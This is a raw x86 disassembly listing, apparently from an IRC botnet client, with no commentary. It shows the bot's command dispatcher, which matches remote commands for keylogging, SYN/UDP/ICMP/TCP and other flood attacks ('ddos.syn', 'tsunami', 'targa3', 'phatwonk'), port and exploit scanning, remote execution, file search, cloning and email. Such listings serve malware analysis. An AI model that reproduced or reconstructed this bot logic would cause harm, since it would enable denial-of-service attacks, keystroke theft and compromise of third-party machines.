		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2680835h
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
